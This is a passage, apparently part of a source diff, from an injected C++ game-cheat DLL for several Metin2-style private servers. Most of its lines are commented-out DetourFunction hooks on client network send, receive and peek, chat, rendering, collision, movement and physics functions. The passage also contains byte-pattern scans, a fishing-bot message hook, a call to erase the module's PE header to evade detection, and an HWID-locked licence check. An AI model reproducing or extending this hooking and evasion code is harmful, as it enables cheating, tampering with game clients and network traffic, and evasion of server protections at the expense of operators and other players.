? ? ? ? 50 83 EC 24 A1 ? ? ? ? 33 C5 89 45 F0 53 56 57 50 8D 45 F4 64 A3 ? ? ? ? 8B D9 8B 45 08"); + + + +//Globals::CResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)(pCResourceManagerGetResourcePointer); +//nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); + + +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +////nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +////nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +////nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +////nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +// +////nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +///*nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce);*/ +////nCActorInstance__CanPushDestActor = (Globals::tCActorInstance__CanPushDestActor)DetourFunction((PBYTE)Globals::CActorInstance__CanPushDestActor, (PBYTE)NewCActorInstance__CanPushDestActor); +//#endif +//#ifdef ESGAROTH +// +// +// /*nCEterFileDictInsertItem = (Globals::tCEterFileDictInsertItem)DetourFunction((PBYTE)Globals::CEterFileDictInsertItem, (PBYTE)NewCEterFileDictInsertItem);*/ +// +// +// /*nCEterPackManagerGet = (Globals::tCEterPackManagerGet)DetourFunction((PBYTE)Globals::CEterPackManagerGet, (PBYTE)HookCEterPackManagerGet);*/ +//nPyCallClassMemberFunc2 = (Globals::tPyCallClassMemberFunc2)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc2, (PBYTE)NewPyCallClassMemberFunc2); +// +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +// +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +// +// +// +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +// +// +///*nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce);*/ +//#endif +//#ifdef ZAMORIA +// +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//#endif +// +//#ifdef ZERIOS +///*nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend);*/ +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//#endif +//#ifdef GLOBAL +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//#endif +//#ifdef GLADOR +////nCEterPackManagerGet = (Globals::tCEterPackManagerGet)DetourFunction((PBYTE)Globals::CEterPackManagerGet, (PBYTE)HookCEterPackManagerGet); //CItemManager::LoadItemList(%s) - StrangeLine in %d\n +////nCEterFileDictInsertItem = (Globals::tCEterFileDictInsertItem)DetourFunction((PBYTE)Globals::CEterFileDictInsertItem, (PBYTE)NewCEterFileDictInsertItem);//Pack index file size error! %s, indexCount %d +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); +////nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCNetworkStreamPeek = (Globals::tCNetworkStreamPeek)DetourFunction((PBYTE)(Globals::tCNetworkStreamPeek)(Globals::hEntryBaseAddress + 0x284290), (PBYTE)NewCNetworkStreamPeek); +////nCNetworkStreamCheckPacket = (Globals::tCNetworkStreamCheckPacket)DetourFunction((PBYTE)(Globals::tCNetworkStreamCheckPacket)(Globals::hEntryBaseAddress + 0x1E85A0), (PBYTE)NewCNetworkStreamCheckPacket); +////nCSnprintF = (Globals::tCSnprintF)DetourFunction((PBYTE)(Globals::tCSnprintF)(Globals::hEntryBaseAddress + 0x174640), (PBYTE)NewCSnPrintF); +////nCTerrainLoadMiniMapTexture = (Globals::tCTerrainLoadMiniMapTexture)DetourFunction((PBYTE)Globals::CTerrainLoadMiniMapTexture, (PBYTE)NewCTerrainLoadMiniMapTexture); +//#endif +//#ifdef PANGEA +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +///*Globals::CInstanceBaseRegisterEffect = (Globals::tCInstanceBaseRegisterEffect)(Globals::hEntryBaseAddress + 0xF9770); +//nCInstanceBaseRegisterEffect = (Globals::tCInstanceBaseRegisterEffect)DetourFunction((PBYTE)Globals::CInstanceBaseRegisterEffect, (PBYTE)NewCInstanceBaseRegisterEffect);*/ +//DWORD pCEffectManagerRegisterEffect2 = PatternScan::FindPattern("55 8B EC 6A FF 68 ? ? ? ? 64 A1 ? ? ? ? 50 83 EC 1C A1 ? ? ? ? 33 C5 89 45 F0 53 56 57 50 8D 45 F4 64 A3 ? ? ? ? 8B D9 8B 7D 08"); +//Globals::CEffectManagerRegisterEffect2 = (Globals::tCEffectManagerRegisterEffect2)(pCEffectManagerRegisterEffect2); +//nCEffectManagerRegisterEffect2 = (Globals::tCEffectManagerRegisterEffect2)DetourFunction((PBYTE)Globals::CEffectManagerRegisterEffect2, (PBYTE)NewCEffectManagerRegisterEffect2); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//#endif +// +//#ifdef XENOX +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//#endif +//#ifdef CLASSIC +// +//nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +////nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nCNetworkStreamSendSequence = (Globals::tCNetworkStreamSendSequence)DetourFunction((PBYTE)Globals::CNetworkStreamSendSequence, (PBYTE)NewCNetworkStreamSendSequence); +////nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +////nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +////nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +////nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nCSnprintF = (Globals::tCSnprintF)DetourFunction((PBYTE)(Globals::hEntryBaseAddress + 0x742D0), (PBYTE)NewCSnPrintF); +////nCPythonIsAtlas = (Globals::tCPythonIsAtlas)DetourFunction((PBYTE)Globals::CPythonIsAtlas, (PBYTE)NewCPythonIsAtlas); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +// +////nCPythonItemCreateItem = (Globals::tCPythonItemCreateItem)DetourFunction((PBYTE)Globals::CPythonItemCreateItem, (PBYTE)NewCPythonItemCreateItem); +////nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +////nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//#endif +//#ifdef EGORIA +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +////nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +////nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +////nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +////nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +// +////nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +///*nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce);*/ +//#endif +// +//#ifdef AVENTUS2 +//nCNetworkStreamSendSequence = (Globals::tCNetworkStreamSendSequence)DetourFunction((PBYTE)Globals::CNetworkStreamSendSequence, (PBYTE)NewCNetworkStreamSendSequence); +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +///*//nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc);*/ +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +// +// +//nCActorInstance__CanPushDestActor = (Globals::tCActorInstance__CanPushDestActor)DetourFunction((PBYTE)Globals::CActorInstance__CanPushDestActor, (PBYTE)NewCActorInstance__CanPushDestActor); +//#endif +// +//#ifdef SG2 +////nCNetworkStreamSendSequence = (Globals::tCNetworkStreamSendSequence)DetourFunction((PBYTE)Globals::CNetworkStreamSendSequence, (PBYTE)NewCNetworkStreamSendSequence); +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +///*nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat);*/ +///*//nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc);*/ +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +////nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +// +// +//nCActorInstance__CanPushDestActor = (Globals::tCActorInstance__CanPushDestActor)DetourFunction((PBYTE)Globals::CActorInstance__CanPushDestActor, (PBYTE)NewCActorInstance__CanPushDestActor); +//#endif +//#ifdef MATADIA +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//#endif +//#ifdef VESTERIS +// +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//#endif +// +//#ifdef BARIA +//nCPythonCharacterManagerDeform = (Globals::tCPythonCharacterManagerDeform)DetourFunction((PBYTE)Globals::CPythonCharacterManagerDeform, (PBYTE)NewCPythonCharacterManagerDeform); +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//nCTerrainLoadMiniMapTexture = (Globals::tCTerrainLoadMiniMapTexture)DetourFunction((PBYTE)Globals::CTerrainLoadMiniMapTexture, (PBYTE)NewCTerrainLoadMiniMapTexture); +//#endif +//#ifdef ASGARDION +// +//#endif +//#ifdef MORAH +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nCRegisterInstance = (Globals::tCRegisterInstance)DetourFunction((PBYTE)Globals::CRegisterInstance, (PBYTE)NewCRegisterInstance); +////nCDeleteInstance = (Globals::tCDeleteInstance)DetourFunction((PBYTE)Globals::CDeleteInstance, (PBYTE)NewCDeleteInstance); +////nCDeleteInstanceByFade = (Globals::tCDeleteInstanceByFade)DetourFunction((PBYTE)Globals::CDeleteInstanceByFade, (PBYTE)NewCDeleteInstanceByFade); +//#endif +//#ifdef SENTHIA +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +// +//#endif + +//#ifdef ITANOS +// nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//#endif +// +//void _fastcall Hooks::NewCGraphicTextInstanceSetValue(void* This, void* EDX, const char* c_szText, size_t len) +//{ +// if (strlen(c_szText) == 1) +// { +// DWORD base = Globals::hEntryBaseAddress; +// DWORD back_address = (DWORD)_ReturnAddress() - base; +// if (back_address == 0x001E79E3 || back_address == 0x0024427C) +// { +// +// FishBot::ParseMessage(c_szText); +// } +// } +// return nCGraphicTextInstanceSetValue(This, c_szText, len); +//} + +//this_thread::sleep_for(std::chrono::seconds(1)); + //MessageBox(NULL, L"BP", L"BreakePoint", 0); + /*Globals::hWnds = Misc::GetToplevelWindows(); + TCHAR dllFilePath[512 + 1] = { 0 }; + TCHAR exeFilePath[512 + 1] = { 0 }; */ + // GetModuleFileNameW(GetModuleHandle(NULL), exeFilePath, 512); + //GetModuleFileNameW(Globals::hModule, dllFilePath, 512); + //string dllDirPathStr = FileExtension::GetDirectoryPathFromFilePatch(StringExtension::StringFromWChar(dllFilePath)); + //MessageBox(NULL, dllFilePath, L"Path", NULL); + //Globals::dllDirPath = dllDirPathStr.c_str(); + //MemoryExtension::ErasePEHeader(Globals::hModule); + +/*AllocConsole(); + FILE* fp; + freopen_s(&fp, "CONOUT$", "w", stdout);*/ + + + +// //%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +//#if defined (NEED_LICENSE) +//bool MainCore::LoadLicense(const char* dirPath) +//{ +// LicenseInformation licenseInformation; +// memset(&licenseInformation, 0, sizeof(licenseInformation)); +// vector i = FileExtension::ReadAllBYTEs(dirPath); +// +// Xor32::Decrypt((unsigned char*)&i[0], 0, i.size()); +// +// +// +// memcpy(&licenseInformation, &i[0], sizeof(LicenseInformation)); +// if (strcmp(licenseInformation.getHWID, ProtectExtension::GetHWID().c_str()) == 0) +// { +// /*MessageBox(NULL, L"Licencja Ok", L"Info", NULL);*/ +// Globals::licenseInformation = licenseInformation; +// } +// else +// { +// MessageBox(NULL, L"Maszyna-Brak Licencji", L"Error", NULL); +// exit(0); +// } +// if (!StringExtension::Equals(licenseInformation.serverName, SERVER_NAME)) +// { +// MessageBox(NULL, L"Serwer-Brak Licencji", L"Error", NULL); +// exit(0); +// } +// +// SYSTEMTIME systemTime = Misc::GetServerTime(); +// +// if (systemTime.wYear == 0 || systemTime.wMonth == 0) +// { +// MessageBox(NULL, L"Error Number #12", L"Error", NULL); +// exit(0); +// } +// std::tm tm1 = { 0 }; +// tm1.tm_year = systemTime.wYear - 1900; +// tm1.tm_mon = systemTime.wMonth - 1; +// tm1.tm_mday = systemTime.wDay; +// +// +// +// +// +// std::tm tm2 = { 0 }; +// tm2.tm_year = (Globals::licenseInformation.createYear + 2000) - 1900; +// tm2.tm_mon = Globals::licenseInformation.createMonth - 1; +// tm2.tm_mday = Globals::licenseInformation.createDay; +// +// std::time_t time1 = std::mktime(&tm1); +// std::time_t time2 = std::mktime(&tm2); +// +// +// const int seconds_per_day = 60 * 60 * 24; +// std::time_t difference = (time1 - time2) / seconds_per_day; +// std::time_t difference2 = (time2 - time1) / seconds_per_day; +// +// +// +// +// +// +// +// if (difference > Globals::licenseInformation.daysLimit) +// { +// MessageBox(NULL, L"Licencja Wygasła", L"Error", NULL); +// exit(0); +// } +// else +// { +// DWORD left = -1; +// if (difference < Globals::licenseInformation.daysLimit) +// { +// left = (Globals::licenseInformation.daysLimit - difference); +// } +// else +// { +// left = (difference - Globals::licenseInformation.daysLimit); +// } +// Globals::licenseDayLeft = left; +// +// } +// +// +// return true; +//} +//#endif +// +//void MainCore::Test() +//{ +// +// +//} + +// +//#ifdef HERMAS +// typedef void(__thiscall* tCPythonPlayerPickCloseItem)(void* This, bool a2); +//#else +// +//#endif +// +//typedef DWORD(__thiscall* tCPythonNetworkStreamGetMainActorVID)(void* This); +// +//typedef void(__thiscall* tCPythonPlayerPickCloseItem)(void* This); +//typedef bool(__thiscall* tCInstanceBaseIsWaiting)(void* This); +// +//typedef bool(__thiscall* 